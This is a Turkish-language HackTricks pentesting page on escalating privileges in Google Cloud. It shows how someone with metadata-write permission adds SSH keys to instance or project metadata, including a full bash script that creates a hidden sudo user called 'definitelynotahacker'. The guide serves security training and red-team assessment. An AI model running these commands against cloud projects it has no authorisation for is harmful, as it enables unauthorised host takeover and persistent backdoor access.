GCP - Add Custom SSH Metadata

GCP - Özel SSH Meta Verisi Ekleme

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Meta verisinin değiştirilmesi

Bir örneğin meta verilerinin değiştirilmesi, bir saldırganın gerekli izinlere sahip olması durumunda önemli güvenlik risklerine yol açabilir.

Özel Meta Verilerine SSH Anahtarlarının Eklenmesi

GCP'de, Linux sistemleri genellikle Google Compute Engine için Python Linux Konuk Ortamı tarafından betikler çalıştırır. Bunun önemli bir bileşeni, yetkilendirilmiş SSH genel anahtarlarının güncellemelerini düzenli olarak kontrol etmek için örnek meta veri uç noktasını denetleyen hesaplar daemonu'udur.

Bu nedenle, bir saldırgan özel meta verileri değiştirebilirse, daemon yeni bir genel anahtar bulacak ve bu anahtar yerel sisteme entegre edilecektir. Anahtar, mevcut bir kullanıcının ~/.ssh/authorized_keys dosyasına veya anahtarın biçimine bağlı olarak sudo ayrıcalıklarına sahip yeni bir kullanıcı oluşturulmasına eklenecektir. Ve saldırgan, ana bilgisayarı ele geçirebilecektir.

Varolan ayrıcalıklı kullanıcıya SSH anahtarı eklemek

  1. Örnekteki Varolan SSH Anahtarlarını İnceleyin:

  • Örneği ve meta verilerini açıklayan komutu çalıştırarak mevcut SSH anahtarlarını bulun. İlgili bölüm çıktıda metadata altında olacak, özellikle ssh-keys anahtarı.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH anahtarlarının biçimine dikkat edin: kullanıcı adı, iki nokta üst üste ile ayrılan anahtarın önünde yer alır.

  1. SSH Anahtar Meta Verisi İçin Bir Metin Dosyası Hazırlayın:

  • Kullanıcı adlarının ve bunlara karşılık gelen SSH anahtarlarının ayrıntılarını meta.txt adlı bir metin dosyasına kaydedin. Bu, yeni anahtarları eklerken mevcut anahtarları korumak için önemlidir.

  1. Hedef Kullanıcı İçin Yeni Bir SSH Anahtarı Oluşturun (bu örnekte alice):

  • Yeni bir SSH anahtarı oluşturmak için ssh-keygen komutunu kullanın ve yorum alanının (-C) hedef kullanıcı adıyla eşleştiğinden emin olun.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Yeni genel anahtarı, örneğin meta verilerinde bulunan formata benzeyerek meta.txt'ye ekleyin.

  1. Örneğin SSH Anahtar Meta Verisini Güncelleyin:

  • Güncellenmiş SSH anahtar meta verisini gcloud compute instances add-metadata komutunu kullanarak örneğe uygulayın.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Yeni SSH Anahtarı Kullanarak Örneğe Erişin:

  • Yeni anahtar kullanarak SSH ile örneğe bağlanın ve hedef kullanıcının bağlamında kabuğa erişin (bu örnekte alice).

ssh -i ./key alice@localhost
sudo id

Yeni bir ayrıcalıklı kullanıcı oluşturun ve bir SSH anahtarı ekleyin

Eğer ilginç bir kullanıcı bulunamazsa, sudo ayrıcalıklarına sahip yeni bir kullanıcı oluşturmak mümkündür:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Proje düzeyinde SSH anahtarları

Bir bulut ortamında proje düzeyinde SSH erişimini genişletmek için SSH anahtarlarını proje düzeyine uygulamak mümkündür. Bu yaklaşım, proje genelinde SSH erişimine izin veren herhangi bir örneğe SSH erişimine olanak tanır. İşte özetlenmiş bir rehber:

  1. Proje Düzeyinde SSH Anahtarları Uygulama:

  • gcloud compute project-info add-metadata komutunu kullanarak meta.txt dosyasındaki SSH anahtarlarını projenin meta verilerine ekleyin. Bu işlem, SSH anahtarlarının projedeki tüm örneklerde tanınmasını sağlar, ancak bir örnekte "Proje genelinde SSH anahtarlarını engelle" seçeneği etkinleştirilmişse bu durum geçerli olmaz.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. Proje Genelinde Anahtarları Kullanarak Örneklerde SSH Yapma:

  • Proje genelinde SSH anahtarları kullanıldığında, projenin herhangi bir örneğine SSH yapabilirsiniz. Proje genelinde anahtarları engellemeyen örnekler, SSH anahtarını kabul ederek erişim sağlar.

  • Bir örneğe doğrudan SSH yapmanın bir yolu, gcloud compute ssh [ÖRNEK] komutunu kullanmaktır. Bu komut, mevcut kullanıcı adınızı ve projenin düzeyinde ayarlanan SSH anahtarlarını kullanarak erişim denemesi yapar.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated